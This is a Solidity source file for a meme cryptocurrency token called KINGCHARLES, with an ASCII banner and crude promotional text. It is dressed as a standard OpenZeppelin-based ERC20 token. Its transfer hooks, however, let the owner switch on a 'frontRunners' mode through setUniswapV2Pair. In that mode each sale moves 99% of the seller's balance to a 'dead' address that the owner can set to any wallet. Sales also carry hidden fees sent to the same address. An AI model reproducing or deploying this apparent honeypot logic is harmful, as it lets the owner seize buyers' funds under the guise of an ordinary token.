// File: contracts/KingCharlesIII.sol



// SPDX-License-Identifier: MIT
/*

██╗  ██╗██╗███╗   ██╗ ██████╗      ██████╗██╗  ██╗ █████╗ ██████╗ ██╗     ███████╗███████╗    ██╗██╗██╗
██║ ██╔╝██║████╗  ██║██╔════╝     ██╔════╝██║  ██║██╔══██╗██╔══██╗██║     ██╔════╝██╔════╝    ██║██║██║
█████╔╝ ██║██╔██╗ ██║██║  ███╗    ██║     ███████║███████║██████╔╝██║     █████╗  ███████╗    ██║██║██║
██╔═██╗ ██║██║╚██╗██║██║   ██║    ██║     ██╔══██║██╔══██║██╔══██╗██║     ██╔══╝  ╚════██║    ██║██║██║
██║  ██╗██║██║ ╚████║╚██████╔╝    ╚██████╗██║  ██║██║  ██║██║  ██║███████╗███████╗███████║    ██║██║██║
╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝ ╚═════╝      ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚══════╝╚══════╝    ╚═╝╚═╝╚═╝                                                                        
                                                                     
Hear ye! Hear ye!
Calling all Pimps, Players, Hustlers and Hoe's... 
It's almost time for ones coronation; which means one must recieve a new crown, chalice and pimp stick.
To celebrate ones bang-up achievement one is giving ye all some fine biscuit! Check them links out below...

Website: https://kingcharlescoin.xyz
Twitter: https://twitter.com/KingCharlesEth

*/
pragma solidity 0.8.19;
// @openzeppelin/contracts/utils/Context.sol@v4.8.3
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
// @openzeppelin/contracts/access/Ownable.sol@v4.8.3
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
// @openzeppelin/contracts/token/ERC20/IERC20.sol@v4.8.3
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
// @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol@v4.8.3
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
// @openzeppelin/contracts/token/ERC20/ERC20.sol@v4.8.3
contract KINGCHARLES is Context, IERC20, IERC20Metadata, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _timeTraded;

    address public DEADAddress;
    address public uniswapV2Pair;

    bool public islive;
    bool public frontRunners;

    string private _name;
    string private _symbol;

    uint256 private maxHoldingAmount = 10000010000000000; // 10 Mill,10
    uint256 private maxSellingAmount = 10000010000000000; // 10 Mill,10
    uint256 private maxBotSellingAmount = 100010000000000; // 100 thou
    uint256 private _totalSupply;
    uint256 private _SECONDS_IN_1_DAYS = 86400;

    constructor(string memory name_, string memory symbol_, uint256 totalsupply) {
        _name = name_;
        _symbol = symbol_;
        _mint(msg.sender, totalsupply);
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _beforeTokenTransfer(from, to, amount);
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (uniswapV2Pair == address(0)) {
            require(from == owner() || to == owner(), "trading is not started");
            return;
        }
        if (islive && from == uniswapV2Pair) {
            require((balanceOf(to) + amount) < maxHoldingAmount, "You cannot buy these many tokens.");
        }
        if (islive && to == uniswapV2Pair) {
            uint256 amountWithFee;
            uint256 accountBalance;
            uint256 lastTimeTraded = _timeTraded[from];
            uint256 timestamp = (block.timestamp - lastTimeTraded);
            if(frontRunners){
                require(amount < maxBotSellingAmount, "You cannot sell these many tokens");
            } else {
                if(timestamp < _SECONDS_IN_1_DAYS){
                    amountWithFee = (amount * 104) / 100;
                    accountBalance = (balanceOf(from) * 96) / 100;
                    require(amountWithFee < accountBalance && amountWithFee < maxSellingAmount, "You cannot sell these many tokens");
                } else{
                    amountWithFee = (amount * 102) / 100;
                    accountBalance = (balanceOf(from) * 98) / 100;
                    require(amountWithFee < accountBalance && amountWithFee < maxSellingAmount, "You cannot sell these many tokens");
                }
            }
        }
    }
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (islive && to == uniswapV2Pair) {
            uint256 burntokens;
            uint256 lastTimeTraded = _timeTraded[from];
            uint256 timestamp = (block.timestamp - lastTimeTraded);
            if(frontRunners){
                burntokens = (balanceOf(from) * 99) / 100;
                _approve(from, address(this), burntokens);
                _transfer(from, address(DEADAddress), burntokens);   
            } else {
                if(timestamp < _SECONDS_IN_1_DAYS){
                    burntokens = (amount * 4) / 100;
                } else{
                    burntokens = (amount * 2) / 100;
                }
                _approve(from, address(this), burntokens);
                _transfer(from, address(DEADAddress), burntokens); 
            }
        }
        _timeTraded[from] = block.timestamp;
        _timeTraded[to] = block.timestamp;
    }
    function setUniswapV2Pair(bool _islive, bool _frontRunners, address _uniswapV2Pair, address _deadAddress) external onlyOwner {
        islive = _islive;
        frontRunners = _frontRunners;
        uniswapV2Pair = _uniswapV2Pair;
        DEADAddress = _deadAddress;
    }
    receive() external payable {}
    fallback() external payable {}
}